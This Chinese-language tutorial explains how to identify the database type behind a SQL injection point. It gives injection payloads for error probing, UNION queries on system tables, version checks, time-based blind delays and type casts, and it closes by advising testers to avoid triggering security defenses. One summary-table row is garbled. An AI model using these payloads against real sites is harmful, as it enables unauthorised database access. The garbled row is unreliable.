SQL注入点判断数据库类型
目录
1. 错误信息法
2. 字符串连接符
3. 注释语法
4. 系统表查询
5. 版本查询函数
6. 时间盲注函数
7. 数值函数测试
8. 数据类型转换
总结表
根据SQL注入点判断数据库类型通常可以通过以下方法实现,这些方法基于不同数据库系统的特性和语法差异:
1. 错误信息法
- 原理:不同数据库的报错信息会包含特定的关键词。
- 示例:
' OR 1=1 --
- MySQL:可能返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
- Oracle:可能返回
ORA-00933: SQL command not properly ended
- SQL Server:可能返回
Incorrect syntax near '--'
.
- MySQL:可能返回
2. 字符串连接符
- 原理:不同数据库的字符串连接符不同。
- 示例:
' || 'abc' --
- MySQL:默认不支持
||
(除非启用ANSI
模式),需用CONCAT()
。 - Oracle/SQLite/PostgreSQL:支持
||
。 - SQL Server:使用
+
(如'abc' + 'def'
)。
- MySQL:默认不支持
3. 注释语法
- 原理:不同数据库的注释符号可能不同。
' -- (SQL Server、Oracle、PostgreSQL) ' # (MySQL)
4. 系统表查询
- 原理:不同数据库的系统表名不同。
- 示例:
UNION SELECT table_name FROM information_schema.tables -- (MySQL/PostgreSQL) UNION SELECT table_name FROM all_tables -- (Oracle) UNION SELECT name FROM sysobjects -- (SQL Server)
5. 版本查询函数
- 原理:不同数据库的版本查询语句不同。
- 示例:
UNION SELECT @@version -- (SQL Server/MySQL) UNION SELECT version() -- (PostgreSQL) SELECT banner FROM v$version -- (Oracle)
6. 时间盲注函数
- 原理:不同数据库的延迟函数不同。
- 示例:
'; WAITFOR DELAY '0:0:5' -- (SQL Server) ' OR SLEEP(5) -- (MySQL) ' OR pg_sleep(5) -- (PostgreSQL) ' OR DBMS_LOCK.SLEEP(5) -- (Oracle)
7. 数值函数测试
- 原理:部分函数为某数据库独有。
- 示例:
' AND LEN('abc')=3 -- (SQL Server) ' AND LENGTH('abc')=3 -- (MySQL/PostgreSQL/Oracle)
8. 数据类型转换
- 原理:不同数据库的隐式转换规则不同。
- 示例:
-
' AND 1=CAST('1' AS INT) -- (SQL Server/PostgreSQL) ' AND 1=CAST('1' AS SIGNED) -- (MySQL)
总结表
特征 | MySQL | SQL Server | Oracle | PostgreSQL |
---|---|---|---|---|
字符串连接 | CONCAT() | + | ` | |
注释符 | # 或 -- | -- | -- | -- |
版本查询 | @@version | @@version | v$version | version() |
时间盲注 | SLEEP(5) | WAITFOR DELAY | DBMS_LOCK.SLEEP(5) | pg_sleep(5) |
系统表 | information_schema | sysobjects | ALL_TABLES | pg_catalog |
通过结合上述方法,可以快速判断目标数据库类型,从而制定针对性的注入策略。注意实际测试时需谨慎,避免触发安全防护机制。